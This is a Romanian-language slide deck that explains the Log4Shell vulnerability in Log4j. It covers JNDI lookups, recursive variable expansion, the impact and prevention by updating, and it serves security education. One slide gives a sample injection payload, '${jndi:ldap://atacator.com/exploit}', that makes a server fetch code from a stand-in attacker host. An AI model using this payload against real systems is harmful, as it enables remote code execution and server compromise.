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Log4J



Vulnerabilitatea Log4J – Log4Shell

• Descoperită în Decembrie 2021
• Vulnerabilitate în biblioteca Log4j utilizată în aplicațiile 

Java
• Foarte ușor de exploatat
• Severitate critică datorită popularității bibliotecii

• Google, Microsoft, Apple, Apache, etc



Ce este o bibliotecă?

• O bucată de cod reutilizabil
• Un programator nu trebuie să reinventeze roata
• Poate utiliza un modul dezvoltat de către o altă 

persoană / organizație
• Ajută enorm dezvoltarea software
• Folosit peste tot în industrie



Biblioteca Log4J

• Bibliotecă utilizată pentru logging
• Salvarea unor informații potențial utile în viitor
• Ce date au fost primite de aplicație, cum au fost prelucrate 

etc.
• În cazul unei probleme, logurile ajută procesul de depanare

• Deseori este utilă și salvarea informațiilor de pe sistem
• Pe ce mașină rulează serviciul
• Versiunea de Java folosită etc.



Biblioteca Log4J

• Informațiile (logurile) pot fi salvate într-un fișier pe disc

• Pe măsură ce crește complexitatea informațiilor și a 
sistemului, informațiile vor fi salvate într-o bază de date

• Logurile pot veni din mai multe surse și pot fi combinate 
într-una



Biblioteca Log4J

• Tratează toate aceste scenarii și multe altele

• Este utilizată de majoritatea produselor software Java

• Omniprezentă în comunitatea Java



Mod de utilizare

• Biblioteca este folosită pentru a stoca toate datele 
procesate de aplicație

• Inclusiv inputul utilizatorului
• Acesta trebuie tratat întotdeauna ca ceva periculos
• logger.debug("Logging in user %1$s", user.getName())



Variabile

• Este utilă salvarea informațiilor de pe sistem
• logger.debug("Java version ${java:version}")
• Problemă: variabilele sunt expandate recursiv
• logger.debug("User %1$s", user.getName())



Variabile

• logger.debug("User %1$s", user.getName())

Username: 
${java:version}

• “User %1$s”
• “User ${java:version}”
• User Java version 1.7.0_67



JNDI

• Java Naming and Directory Interface
• Caută date în alte servicii: LDAP, DNS, RMI
• Naming Service

• Asociază nume cu valori
• Caută un obiect pe baza numelui



JNDI remote objects

• JNDI permite inclusiv stocarea de Java Object
• Cod programatic

• Un serviciu poate obține codul executabil
• Îl poate rula



Vulnerabiliteatea Log4j

• Log4j permite utilizarea JNDI în expandarea variabilelor
• Un atacator poate construi un input malițios
• Log4j are încredere deplină în utilizator
• Atacatorul face serverul victimă să extragă orice cod 

executabil de pe serverul atacatorului
• Log4j execută codul trimis de atacator
• Sistemul victimă a fost compromis



Vulnerabiliteatea Log4j

Username: ${jndi:ldap://atacator.com/exploit}

Aplicație vulnerabilă

atacator.com



Vulnerabiliteatea Log4j

• Un atacator construiește un input care o să genereze o 
cerere JNDI

• Răspunsul este cod malițios sub forma Java Object
• Log4j execută acest cod

• Deși acesta vine dintr-o sursă nesigură: utilizator
• Acest “feature” este în JNDI

• Foarte ușor de executat cod pe mașina altcuiva



Impact

• Problemă extrem de severă
• Log4j este aproape omniprezent în aplicațiile Java
• Datele trec prin multe servicii în cadrul unui sistem
• Este suficient ca un serviciu să fie vulnerabil
• Foarte ușor de exploatat

• Exemple de input se găsesc “pe tot Internetul”
• Foarte puțină expertiză este necesară



Prevenție

• Actualizarea bibliotecilor folosite la ultima versiune
• Log4j 2.17.2 – ultima versiune 23.02.2022

• Testarea sistemelor proprii folosind input malițios
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